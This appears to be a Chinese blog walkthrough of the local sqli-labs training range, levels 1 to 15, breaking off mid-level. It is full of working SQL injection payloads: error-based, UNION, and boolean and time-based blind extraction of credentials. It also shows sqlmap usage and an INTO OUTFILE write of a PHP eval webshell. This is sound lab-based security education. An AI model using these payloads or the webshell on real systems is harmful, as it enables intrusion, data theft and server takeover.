SQL注入实操(SQLilabs Less1-20)

文章目录

一、sqli-labs靶场搭建

下载路径:https://www.hibugs.net/hi-resource/sqli-labs-master.zip
下载后解压复制到www目录,然后进入sql-connections
在这里插入图片描述

文本编辑db-creds.inc,填写数据库密码
在这里插入图片描述

pikachu的php版本改为7以下
在这里插入图片描述

然后打开网页安装数据库
在这里插入图片描述

安装成功的界面如下
在这里插入图片描述

接下来就可以进入靶场了
在这里插入图片描述

二、通关笔记

1.Less-1 Error Based- String

输入?id=1时
在这里插入图片描述

发现?id=1到?id=14都有数据
在这里插入图片描述

a.单引号‘

sql注入加单引号的缘由是为了让sql语句产生毛病,从而得知其有无过滤措施,例如:
一开始SQL语句是这样的:
select * from users where id=‘1’
当你加了单引号后变成了这样:
select * from users where id=‘1’’
这样是不符合sql语法规则的,因此会报错,若没报错,说明有多是被过滤掉或有其他防护手段。
接下来尝试让它报错,加个引号试下
在这里插入图片描述

发现14在错误信息里一起出来了
接下来先学习一个报错注入函数

b.updatexml

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

c.concat

第二个函数是字符串拼接concat
在这里插入图片描述

显然把用户名和~连接起来了
select updatexml(1,concat(0x7e,(SELECT user())),0x7e);
在这里插入图片描述

报错说明是参数2出现xpath注入,而且把数据库名也带在报错信息里了,因此我们可以利用这个漏洞进行注入
接下来继续学习一个方法,union

d.union

union会自动压缩多个结果集合中重复的结果,使结果不会有重复行,union all 会将所有的结果共全部显示出来,不管是不是重复。
union:会对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序。
如果要合并两个结果集,那么他们的列数必须相同
在这里插入图片描述在这里插入图片描述在这里插入图片描述

而select updatexml(1,concat(0x7e,(SELECT user())),0x7e)的结果是一行一列
而http://127.0.0.1:9009/Less-1/?id=14’的结果也是一行一列,因此可以合并
合并后应该是2行一列,把结果二放在最后一行
在这里插入图片描述

使用联合注入的方法居然出来了
1’ union select updatexml(1,concat(0x7e,(SELECT user())),0x7e)’
在这里插入图片描述

但是实际上不是,是直接抛出后面的错误了
在这里插入图片描述在这里插入图片描述

可以发现不管是在前面还是后面,都是抛出同样的错误,说明只要有报错,就直接抛出报错信息,不合并
先这样猜想,后面再验证下是不是
在这里插入图片描述

现在我们拿到了当前数据库名,接下来我们需要这个数据库里有哪些表

e.information_schema

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘security’;
使用information_schema可以查询到指定数据库有哪些表
在这里插入图片描述

f.GROUP_CONCAT

GROUP_CONCAT函数可以将多行结果集拼接成一个字符串
在这里插入图片描述

现在我们把这个方法用到靶场里
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’;

g.select 1,2

14’ union select 1,2,updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’)),0x7e)’
加入1,2是为了凑显示位,以后可以用这种方法找出需要的列数
执行成功了
在这里插入图片描述

但是发现这里表名显示不全,估计是因为updatexml的原因,看下能否不用它显示出来
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ’
h.id=-1
把 id修改成-1说明左边的结果查不到,然后腾出显示位给右边的结果集
在这里插入图片描述

接下来呢,我们当然要看user里的数据,在此之前我们先找出user里有哪些列名
select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”;
在这里插入图片描述

-1’ union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”’
在这里插入图片描述

现在我们知道了users的列名,接下来当然是查出数据了
在这里插入图片描述

i.–+
–+把后面的 ’ LIMIT 0,1 给注释掉了
-1’ union select 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

2.Less-2 Error Based- Intiger

这一关和第一关几乎一样,只是需要把单引号去掉
获取数据库名
1 union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
在这里插入图片描述

获取表名
-1 union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
在这里插入图片描述

获取列名
-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
在这里插入图片描述

获取用户名密码
-1%20 union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

3.Less-3 Error Based- String (with Twist)

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

a.怎么找到注入点

在我们可控的输入部分加一些符号,查看页面是否正常
www.example.com/index.php?id=1,这里的id变量是用户可控的
如何判断是否存在sql注入?
“加引号”法 无论字符型还是整型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)
在这里插入图片描述

直接加’说明存在注入点

b.判断SQL注入漏洞的类型

方法1:
id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
方法2:
url中输入?id=1 and 1=1 页面依旧正常运行,继续下一步
url中输入?id=1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
方法3:
url中输入1’ and ‘1’ = ‘1,页面运行正常,继续进行下一步。
url中继续输入1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
在这里插入图片描述

第1关是字符型
在这里插入图片描述

第2关是数字型
在这里插入图片描述

第3关还是字符型
在这里插入图片描述

c.闭合语句

单引号/双引号,注释
数字型的注入,不需要闭合就可以直接进行注入。(如果系统做了数字型传入的判断,就防止注入)如上面的第2关
字符型的注入,$id多为字符型输入,需要进行闭合
注释–+的目的:为了过滤掉多余的字符不让它影响我们构造的sql语句执行
通过闭合跟注释,构造出了一段空区域,这段空白区域可以由我们自己构造注入语句去代入到数据库执行。(查询数据库,表,字段)

d.如何判断显示位

方法1
order by n 排序
www.example.com/index.php?id=1’ order by n –
如果说n=3的时候页面正常,n=4的时候页面显示不正常,则可以判断出3个字段。
方法2
通过联合查询的方式判断哪些是显示字段
www.example.com/index.php?id=0’ union select 1,2,3 #
通过报错分析过滤点
在这里插入图片描述

#猜测试sql语句
select Login_name,Password from table_name where id = (‘ID’) limit 0,1;
第三关猜测id那里被加了(“id”),尝试添加)闭合

e.答案

1 ') union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取数据库名(记住字符型后面需加注释–+)
在这里插入图片描述

获取表名
-1’) union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
在这里插入图片描述

获取列名
-1’) union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
在这里插入图片描述

获取用户名密码
-1’) union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

4.Less-4 Error Based- DoubleQuotes String

发现加引号并没报错,那应该怎么注入呢
在这里插入图片描述

发现需要用双引号才能触发错误
在这里插入图片描述

结合上题的经验
获取数据库名
1 ") union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

获取表名
-1") union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
在这里插入图片描述

获取列名
-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
在这里插入图片描述

获取用户名密码
-1") union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在这里插入图片描述

5.Less-5 Double Query- Single Quotes- String

获取数据库名
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

但是获取表名时没有显示位
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’

a.判断注入漏洞的依据

在这里插入图片描述

b.bool注入原理

在这里插入图片描述
当我们输入id=1 和id=15时页面返回You are in和不返回的提示,我们得到的信息很少。这和之前的联合注入有很大的不同。

<?php
$username = $_POST['username'];
$password = md5($_POST['password']);

//准备sql查询
$sql = "select * from users where username='{$username}' and password='{$password}' limit 0,1";
//执行sql
$result = mysql_query($sql);
//取得一行结果
$row = mysql_fetch_array();
if(empty($row)){
	echo "用户名或密码不存在";
}else{
	echo "登录成功";
} 

上面不会显示结果,但是只有两种状态,就是成功和失败。这们通过这种两种状态来进行获取数据库内容的方试就叫bool注入
如以下的验证方式,正常通过是这样的
在这里插入图片描述而bool条件中有一个为假则不返回
在这里插入图片描述接下来我们需要用到一个工具来对付bool盲注,就是sqlmap
先看下怎么安装

c.sqlmap安装和使用

下载路径 https://sqlmap.org/
然后cmd下执行命令
python sqlmap.py http://127.0.0.1:9009/Less-5/?id=14 --current-db --dump --batch开始渗透
发现已经可以全部查出来了
在这里插入图片描述在这里插入图片描述现在我们不使用工具,只是单纯使用url和sql语句,看能否爆出数据
在这里插入图片描述

我们知道原先数据库里有12个数据库
那么我们怎么知道当前用的是哪个数据库,以及数据库长度,数据库名称呢
我们知道sql里可以这样查出来
在这里插入图片描述

那么怎么在url里盲注验证这个结果呢

d.盲注获取数据库长度

通过以下方法逐个试出数据长度
id=14’ and length(database())=8 --+
在这里插入图片描述

知道了长度有啥用呢,再猜下数据库首字母吧

e.substr

这里我们需要学习一个新的函数,substr
作用是:从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
用法:substr(obj,start,length)注意start是从1开始,不是从0
所以我们用这个方法获得数据库首字母

f.盲注获取当前数据库名称

14’ and substr(database(), 1, 1)=‘s’ --+
通过这个方法我们得知数据库第一个字母是s
在这里插入图片描述

当然我们还可以继续试第二个字母,第三个字母…,直到把8个字母全部试出来
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述通过上面逐个字母的测试,我们终于知道了数据库名称是security
但是这种方法是不是觉得有点笨,有没有循环试错的方法呢
有的,这是我写的存储过程

delimiter //                            #定义标识符为双斜杠
drop procedure if exists test;          #如果存在test存储过程则删除
create procedure test()                 #创建无参存储过程,名称为test
begin
   declare i int;
   declare j int;
   declare name VARCHAR(255);
   set j = 1;
   set name = "";
   while j <= 8 do
      set i = 0;
      while i < 26 do                     #结束循环的条件: 当i大于26时跳出while循环 
         if(substr(database(), j, 1)=CHAR(ascii('a')+i)) THEN
            set name  = concat(name, CHAR(ascii('a')+i));
            select name, CHAR(ascii('a')+i);
         END IF;  
	     set i = i + 1;
      end while; 
      set j = j + 1;
   end while;                          #结束while循环
   select * from test;
   SELECT name;
end 
//                                      #结束定义语句
delimiter ;
call test();

你看,是不是一次性全都查出来了但是怎么让它在页面里执行呢,感觉有点难度
在这里插入图片描述

接下来我们需要用同样的方法爆出表长度,表名称

h.盲注获取当前表名称

在这里插入图片描述

首先还是猜出长度,经验是可以先使用>,<之类的先圈定范围,然后再使用=,其实后面的字母枚举也可以用这种方法
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
在这里插入图片描述在这里插入图片描述

知道了长度接下来就是爆出这段字符串了
14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 1, 1)=‘e’ --+
在这里插入图片描述

http://127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 2, 1)=‘m’ --+
在这里插入图片描述

后面的操作都一样的,在此不加赘述

i.盲注获取某个表所有列名称

比如我们需要知道users这个表里有哪些列
那么用盲注的方法该怎么拿到呢
在这里插入图片描述

一样的逻辑,先爆出长度
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
在这里插入图片描述

然后逐个猜出字符
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 1, 1)=‘i’ --+
在这里插入图片描述

14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’ --+
在这里插入图片描述

j.盲注获取密码

在这里插入图片描述

密码里居然有特殊符号,而且这么长,看来不用工具做是不行了
老办法,还是先搞长度
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
天哪长度188
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
用word算下也确实如此
在这里插入图片描述

接下来我打算用第三节自己开发的工具爆破出这一大段文字密码

当个枚举语法是
14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), d 1 , 1 ) = d1, 1)= d1,1)=d2 --+
替换进去,并把长度改成188,运行一下看看

在这里插入图片描述
在这里插入图片描述

好家伙,uil1.txt就写了1m多,没关系,先看下结果,虽然还没全部跑完,但是前面这几个全都对上了
在这里插入图片描述

至此该关卡结束

6.Less-6 Double Query- Double Quotes- String

第6关也是盲注
但是发现一个问题,就是加单引号不管加几个页面都没变化,怀疑是不是有延时盲注
在这里插入图片描述

a.获取数据库名称

1 " union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

不是时间盲注,只是必须id那里用双引号而已

b.获取表信息

14" and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
同样的,用我的工具跑一次
url = "127.0.0.1:9009/Less-6/?id=14\” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

结果完全正确

c.获取列信息

14" and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
在这里插入图片描述

url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

d.获取表内数据

14" and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
在这里插入图片描述

url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
j = ‘a’
fp = open(“url1.txt”, “w”)
#21是目标长度
writeurl(fp, url, “, 1)=”, “–+\n”, 188+1)
显然,全都正确
在这里插入图片描述

7.Less-7 Dump into Outfile

第7关彻底连数据库名称也拿不到了
在这里插入图片描述

127.0.0.1:9009/Less-7/?id= 14’ or 1=1 --+
发现id后面加’号界面呈周期性变化,证明存在sql注入
但是or或者and不管是真是假都没用,只看id那里的真假
那么怎么构造轮子呢,这关太恶心了,不单id有两个括号,后面也被加了两个括号
在这里插入图片描述

14’)) and length(database())=8–+((
使用order by判断列数14’)) order by 4 --+
在这里插入图片描述在这里插入图片描述

这里一直说use outfile是啥意思呢,应该是个新的知识点,只能网上先查下了
网上查了说是可以通过联合注入上传,但是我这边根本上传不了,查了下
show variables like ‘%secure%’;
在这里插入图片描述

secure_file_priv NULL说明是禁止上传,怎么改这个设置呢
在这里插入图片描述

方法是找到phpstudy安装路径下的这个地方,打开my.ini
如果存在secure_file_priv就将其修改为secure_file_priv=“”
若不存在添加secure_file_priv=""即可
然后重启mysql,再查发现没了
在这里插入图片描述

1’)) union select 1,2,“<?php @eval($_POST['hyc']); ?>” into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\hyc.php” --+
然后我们再去页面看下能否上传
居然成功了
在这里插入图片描述

好,用菜刀连下,居然也成功了,不过这个条件太苛刻了,估计也只有这个例子可用了
1,show variables like ‘%secure%’;用来查看mysql是否有读写文件的权限
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
在这里插入图片描述

8.Less-8 Blind- Boolian- Single Quotes- String

第8关加单引号存在周期性报错,说明id处存在sql注入点
在这里插入图片描述

使用1 order by 9999 --+检测发现是字符型
在这里插入图片描述

继续判断列数1’ group by 3 --+,发现列数为3
在这里插入图片描述

期间任何输入输出只有You are in…或空两种情况,说明存在sql盲注可能性

a.获取数据库名称

使用14’ and length(database())=8–+获取数据库名称长度时发现id处没有过滤
在这里插入图片描述

使用工具爆破下数据库用户名
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((database()), 1), "
writeurl(fp, url, “, 1)=”, “–+\n”, 8+1)
在这里插入图片描述

b.获取表信息

14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
在这里插入图片描述

爆破表名
"127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

c.获取列信息

14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
在这里插入图片描述

url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

d.获取表内数据

14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
在这里插入图片描述

url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述

比对下,除了全部是小写之外其他全部正确
在这里插入图片描述

9.Less-9 Blind- Time based- Single Quotes- String

第9关有点奇怪,怎么输页面都没变化
在这里插入图片描述

只能借助bp看字段长度了
在这里插入图片描述

发现报错时长度是974,正常时937

a.注入点判断

那好,现在先看下注入点是否有变化,发现加单引号没任何变化
但是加’)–+后发现有变化了,猜测原id被加了括号,而且是字符型,(‘id’)
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+检测一下确实是字符型
在这里插入图片描述

c.列数判断

1’ group by 3 --+检验一下列数发现是3列
在这里插入图片描述

接下来看看能否获取数据库名称长度

d.获取数据库名称

14’ and length(database())=8–+,还真可以,说明是8
在这里插入图片描述

看下字母枚举14’ and substr(substr((database()), 1), 1, 1)=‘s’–+,长度响应确实对了,但是页面一直没刷新怎么办呢,不然工具都没法抓数据,或者工具里增加一个功能,获取返回的长度,如果内容没变化就看长度,当然事先需要给工具告知一个正确的长度,这样它知道怎么找
在这里插入图片描述

找长度,其实就是提取这个值
在这里插入图片描述

所以接口方法应该是类似
def getlength(text, value):
text是html网页内容
value是正确的长度,这里是707
结果是返回正确还是错误长度
工具里增加一个分支,使用该分支爆破结果也出来了
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((database()), 1), "
在这里插入图片描述

e.获取表信息

14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现937说明29正确
在这里插入图片描述

爆破表名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "

表名也爆破出来了

f.获取列信息

14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现937说明列长度是20
在这里插入图片描述

爆破列名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

g.获取表内数据

14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现937说明长度是188
在这里插入图片描述url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述完全正确

10.Less-10 Blind- Time based- Double Quotes- String

终于到第10关了,看下这关有什么陷阱
http://127.0.0.1:9009/Less-10/?id=15
和上一关一样的模式?发现正确长度是939

a.注入点判断

至对”敏感,说明存在注入点
http://127.0.0.1:9009/Less-10/?id=14 “
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+检测一下确实是字符型
在这里插入图片描述

c.列数判断

1" group by 3 --+检验一下列数发现是3列
在这里插入图片描述

d.获取数据库名称

1" and length(database())=8–+
在这里插入图片描述

说明长度是8
爆破数据库名称,记得要将长度改成709
在这里插入图片描述

url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((database()), 1), "
在这里插入图片描述

e.获取表信息

14” and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现939说明长度是29
在这里插入图片描述

表名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

f.获取列信息

14” and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现939说明正确长度是20
在这里插入图片描述

列名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

g.获取表内数据

14” and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现939说明长度是188
在这里插入图片描述

表数据爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述

11.阶段总结

前10关终于做完了,告一段落,先总结一下
首先拿到站点,先判断一下是否存在注入,用’之类的方法判断其敏感性,注意有些需要加)之类的闭合,然后看情况换成”
其次用1 order by 9999 --+判断是字符型还是数字型
接着用1’ group by 3 --+判断列数,即显示位
用1’ and length(database())=8–+判断数据库名称长度
用id=14’ and substr(substr((database()), 1), "爆破数据库名

用id=14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
判断表名长度
用id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), " 爆破表名

用14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
判断列名长度
用id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "爆破列名

用14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
判断表数据长度
用id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "爆破数据

12.Less-11 Error Based- String

在这里插入图片描述

显然这关不能再在url里注入了,怎么输都没变化
那么看来只能从输入框注入了

a.注入点判断

在这里插入图片描述在这里插入图片描述

发现用户框或密码框存在注入,加单引号呈现周期性报错
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+分别检测一下确实都是字符型

c.获取数据库名称

用户框输入
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
密码框输入’ 1
在这里插入图片描述

看来这个不是盲注了

d.获取表信息

用户框输入,同时通过select 1,2之类的尝试测试出显示位
1’ union select 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
密码框输入’1,前面的单引号起到和前面闭合的作用
在这里插入图片描述

表名没输出来,但是提示登录成功了,啥情况,猜测这里还是只能用报错注入updatexml
用户名输入
1’ union select 1, updatexml(1, (select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ), 0x7e)
密码还是’1
在这里插入图片描述

结果出来了,但是显示不全,看来用updatexml就是有这个毛病
查下updatexml有没有完整输出的方法
用户名
1’ union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
在这里插入图片描述

这样居然全都拿到了
其实还有一个逐个提取分页显示的方法
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select table_name FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1), 0x7e),1)
在这里插入图片描述

然后逐个增加上图0这个数字用于切换行数
在这里插入图片描述

e.获取列信息

这次我们就直接提取了,用户名直接输入
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
在这里插入图片描述

f.获取表内数据

1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(username, ‘:’, password) from users limit 0,1),0x7e), 0x7e)
在这里插入图片描述

看来还是得分页提取
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
在这里插入图片描述

然后逐个修改0的数值
在这里插入图片描述

然后我们用获取到的这第11个用户名密码登录下,发现登录成功了,ok,本关结束
在这里插入图片描述

13.Less-12 Based- Double quotes- String

a.注入点判断

发现对双引号敏感,用户名密码存在sql注入
在这里插入图片描述

b.获取数据库名称

1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
但是报错了
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)") and password=(’ at line 1
通过这个报错信息我们能发现什么呢,猜测传进去的数值应该都被括号()包裹起来了
先试下用户名输入1" ) --+(,密码输入”发现没报错,然后再试
1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
在这里插入图片描述

说明下,这里第一个)起到闭合用户名的作用,第二个(闭合密码,然后中间空出来的这段就留给我们注入了

c.获取表信息

知道了轮子(结构),试下看下能否直接替换
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
在这里插入图片描述

d.获取列信息

用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+(
在这里插入图片描述

e.获取表内数据

用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)–+(
在这里插入图片描述

1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 12,1), 0x7e),1)–+(
在这里插入图片描述
在这里插入图片描述

Ok,这关结束

14.Less-13 Double Injection- String- with twist

a.注入点判断

两个输入框都对’敏感,说明存在sql注入点
在这里插入图片描述

b.轮子测试

接下来测试轮子
用户名输入1’) --+(,密码输入’发现没有报错,猜测这就是轮子
在这里插入图片描述

c.获取数据库名称

在轮子的基础上用户名输入
1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
在这里插入图片描述

d.获取表信息

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+(
在这里插入图片描述

f.获取表内数据

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+(
在这里插入图片描述

发现这里拿到的用户名每个都可以登录,应该改成特定关卡用特定用户名密码才对

15.Less-14 Double Injection- Double quotes- String

a.注入点判断

又是双引号
在这里插入图片描述

b.轮子测试

在这里插入图片描述

这个不会这么简单吧,直接就让我找到了,轮子:1" --+

c.获取数据库名称

在轮子的基础上用户名输入
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

d.获取表信息

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

f.获取表内数据

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+
在这里插入图片描述在这里插入图片描述

16.Less-15 Blind- Boolian Based- String

a.注入点判断

在这里插入图片描述

15关看来是盲注无疑了,界面上测什么都没有响应,只有输入正确的bool语句才行
但是在输入框里做盲注怎么测呢
网上查了下资料说这关需要用到时间盲注了,终于用到了,可是怎么用呢,用户名里输入
1’ and if(1=2, 1, ,sleep(1))
可是怎么测试也不行,这里根本看不到有延时的样子,咋回事呢
在这里插入图片描述

但是发现下面这种情况有延时
admin’ and sleep(0.5)#
在这里插入图片描述

b.轮子测试

用户名输入
admin’ and if(1=1, sleep(0.5), 1)#,密码1
在这里插入图片描述

admin’ and if(1=2, sleep(0.5), 1)#,密码1
在这里插入图片描述

故该轮子可用,以延时时间作为正确与否的判断依据

c.获取数据库名称+burp爆破

在轮子的基础上用户名输入
admin’ and if(length(database())=8, sleep(1), 1)#
在这里插入图片描述

admin’ and if(length(database())=7, sleep(1), 1)#
在这里插入图片描述

说明数据库长度是8
用户名输入
admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
在这里插入图片描述

说明第一个字母是s
但是接下来怎么办呢,一个一个字母试吗,效率太低了,工具能获得时间吗,只能试下了
我们先用burp试下
比如以
